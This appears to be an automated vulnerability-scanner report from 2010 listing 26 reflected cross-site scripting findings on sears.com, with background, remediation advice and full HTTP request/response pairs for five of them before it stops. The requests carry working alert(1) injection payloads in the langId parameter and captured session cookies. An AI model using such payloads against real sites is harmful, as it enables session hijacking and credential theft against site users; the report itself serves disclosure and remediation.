Report generated by XSS.CX at Tue Nov 16 12:09:13 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog
Loading

1. Cross-site scripting (reflected)

1.1. http://www.sears.com/GiveTogether [langId parameter]

1.2. http://www.sears.com/shc/s/AdYourWay [langId parameter]

1.3. http://www.sears.com/shc/s/ForgotPasswordModalView [langId parameter]

1.4. http://www.sears.com/shc/s/GRLandingPageView [langId parameter]

1.5. http://www.sears.com/shc/s/GiveTogetherHomeView [langId parameter]

1.6. http://www.sears.com/shc/s/InterestItemDisplayCmd [langId parameter]

1.7. http://www.sears.com/shc/s/Logoff [langId parameter]

1.8. http://www.sears.com/shc/s/LogonForm [langId parameter]

1.9. http://www.sears.com/shc/s/OpenIdModalPopUpView [langId parameter]

1.10. http://www.sears.com/shc/s/OrderStatusLoginModalView [langId parameter]

1.11. http://www.sears.com/shc/s/StoreLocatorView [langId parameter]

1.12. http://www.sears.com/shc/s/UserAccountView [langId parameter]

1.13. http://www.sears.com/shc/s/UserLoginModalView [langId parameter]

1.14. http://www.sears.com/shc/s/search_10153_12605 [keyword parameter]

1.15. http://www.sears.com/shc/s/search_10153_12605 [keyword parameter]

1.16. http://www.sears.com/GiveTogether [JSESSIONID cookie]

1.17. http://www.sears.com/shc/s/AdYourWay [JSESSIONID cookie]

1.18. http://www.sears.com/shc/s/BrowseStaticPageCmd [JSESSIONID cookie]

1.19. http://www.sears.com/shc/s/CountryChooserView [JSESSIONID cookie]

1.20. http://www.sears.com/shc/s/GRLandingPageView [JSESSIONID cookie]

1.21. http://www.sears.com/shc/s/GiftRegistryHomeView [JSESSIONID cookie]

1.22. http://www.sears.com/shc/s/GiveTogether [JSESSIONID cookie]

1.23. http://www.sears.com/shc/s/GiveTogetherHomeView [JSESSIONID cookie]

1.24. http://www.sears.com/shc/s/OrderItemDisplay [JSESSIONID cookie]

1.25. http://www.sears.com/shc/s/StoreLocatorView [JSESSIONID cookie]

1.26. http://www.sears.com/shc/s/smv_10153_12605 [JSESSIONID cookie]



1. Cross-site scripting (reflected)
There are 26 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.sears.com/GiveTogether [langId parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sears.com
Path:   /GiveTogether

Issue detail

The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dd37a'-alert(1)-'1bc2aad63fc was submitted in the langId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /GiveTogether?storeId=10153&catalogId=12605&langId=dd37a'-alert(1)-'1bc2aad63fc&nextView=GTHomePageView HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response (redirected)

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
s-cs: 0
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 18:07:29 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 18:07:29 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932649~id=73f4c247bb93952f0a79b30e9651cc7a; path=/
s-srvr: aixwcs487p.prod.ch4.s.com, prd1
Content-Length: 69597


                           
...[SNIP]...
<script type="text/javascript">


   var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=dd37a'-alert(1)-'1bc2aad63fc&catalogInd=DZD&dzName=A4';
   var imagePath='http://c2.shld.net/111520/';
intIpAjaxFlag = 'FALSE';
if(storeId='10153'){
searchRedesignFlag = 'true';
}
var scene7Url='http://s.shld.net/is/image/Sea
...[SNIP]...

1.2. http://www.sears.com/shc/s/AdYourWay [langId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/AdYourWay

Issue detail

The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d78a2'-alert(1)-'a63c70ab53b was submitted in the langId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/AdYourWay?storeId=10153&catalogId=12605&langId=-1d78a2'-alert(1)-'a63c70ab53b&adCell=WF HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
s-cs: 0
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 17:58:55 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 17:58:55 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932135~id=6ccce60eacd67c94a2932916d9b52742; path=/
s-srvr: aixwcs487p.prod.ch4.s.com, prd1
Content-Length: 69581


                           
...[SNIP]...
<script type="text/javascript">


   var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=-1d78a2'-alert(1)-'a63c70ab53b&catalogInd=DZD&dzName=A4';
   var imagePath='http://c2.shld.net/111520/';
intIpAjaxFlag = 'FALSE';
if(storeId='10153'){
searchRedesignFlag = 'true';
}
var scene7Url='http://s.shld.net/is/image/Sea
...[SNIP]...

1.3. http://www.sears.com/shc/s/ForgotPasswordModalView [langId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/ForgotPasswordModalView

Issue detail

The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6d996'-alert(1)-'17a755c0211 was submitted in the langId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/ForgotPasswordModalView?langId=-16d996'-alert(1)-'17a755c0211&storeId=10153&catalogId=12605&ForForgotPasswordURL= HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
s-cs: 0
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 17:59:55 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 17:59:55 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932195~id=432fddda4e9d838689daae38297cacd2; path=/
s-srvr: aixwcs487p.prod.ch4.s.com, prd1
Content-Length: 69629


                           
...[SNIP]...
<script type="text/javascript">


   var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=-16d996'-alert(1)-'17a755c0211&catalogInd=DZD&dzName=A4';
   var imagePath='http://c2.shld.net/111520/';
intIpAjaxFlag = 'FALSE';
if(storeId='10153'){
searchRedesignFlag = 'true';
}
var scene7Url='http://s.shld.net/is/image/Sea
...[SNIP]...

1.4. http://www.sears.com/shc/s/GRLandingPageView [langId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/GRLandingPageView

Issue detail

The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dda09'-alert(1)-'8aab129d71c was submitted in the langId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/GRLandingPageView?storeId=10153&catalogId=12605&langId=dda09'-alert(1)-'8aab129d71c&adCell=W3 HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
s-cs: 0
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 18:01:18 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 18:01:18 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932278~id=bf62f5c267e17124ecf41d901cdb7a7d; path=/
s-srvr: aixwcs487p.prod.ch4.s.com, prd1
Content-Length: 69587


                           
...[SNIP]...
<script type="text/javascript">


   var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=dda09'-alert(1)-'8aab129d71c&catalogInd=DZD&dzName=A4';
   var imagePath='http://c2.shld.net/111520/';
intIpAjaxFlag = 'FALSE';
if(storeId='10153'){
searchRedesignFlag = 'true';
}
var scene7Url='http://s.shld.net/is/image/Sea
...[SNIP]...

1.5. http://www.sears.com/shc/s/GiveTogetherHomeView [langId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/GiveTogetherHomeView

Issue detail

The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d8922'-alert(1)-'9992f4af935 was submitted in the langId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/GiveTogetherHomeView?storeId=10153&catalogId=12605?storeId=10153&catalogId=12605&langId=d8922'-alert(1)-'9992f4af935&nextView=GTHomePageView&adCell=W3 HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

